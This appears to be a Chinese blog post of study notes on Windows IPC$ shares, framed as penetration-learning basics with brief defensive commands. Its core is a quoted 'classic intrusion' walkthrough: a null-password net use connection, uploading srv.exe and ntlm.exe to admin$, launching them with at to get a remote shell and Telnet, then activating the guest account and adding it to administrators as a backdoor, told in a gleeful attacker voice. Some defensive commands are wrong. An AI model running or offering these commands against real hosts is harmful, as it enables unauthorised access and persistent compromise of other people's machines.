域渗透学习预备知识-IPC$的入侵防御

一、什么是IPC$

以下段落引文自:http://www.xfocus.net/articles/200303/493.html  

IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的。

二、IPC$入侵防御基础:

0、操作环境:

 powershell 管理员

1、如何建立IPC$空连接:

 net use \\127.0.0.1\ipc$"" /user:""

2、建立完整的用户名称密码的连接:

 net use \\127.0.0.1\ipc$"password" /user:"username"

3、映射路径:

 net use z: \\IP\c$ "密码" /user:"用户名"       (即可将对方的c盘映射为自己的z盘,其他盘类推)

4、直接访问和删除路径:

 net use z: \\IP\c$ #直接访问
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认

5、删除连接:

 net use \\IP\ipc$ /del

6、引用上文地址博客的一段经典例子:

 ###经典入侵模式###
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) . C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
. C:\>net time \\127.0.0.1
查查时间,发现127.0.0. 的当前时间是 // 上午 :,命令成功完成。
  
. C:\>at \\127.0.0.1 : srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  
. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0. 的当前时间是 // 上午 :,那就准备开始下面的命令。
  
. C:\>telnet 127.0.0.1
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! . Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈) 为了以防万一,我们再把guest激活加到管理组
. C:\>net user guest /active:yes
将对方的Guest用户激活 . C:\>net user guest
将Guest的密码改为1234,或者你要设定的密码 . C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

7、防御命令:

 net share #查看自己的共享
net view \\IP #查看target的共享
netstat -A IP 获取target的user列表

8、netstat的延伸使用方法:

netstat -ano | findstr "port" #查看端口号对应的PID
tasklist | findstr "PID" #查看进程号对应的程序
上一篇:8、手把手教React Native实战之ReactJS组件生命周期


下一篇:[RN] React Native 删除第三方开源组件依赖包 后 还要做的 (以 删除 react-native-video为例)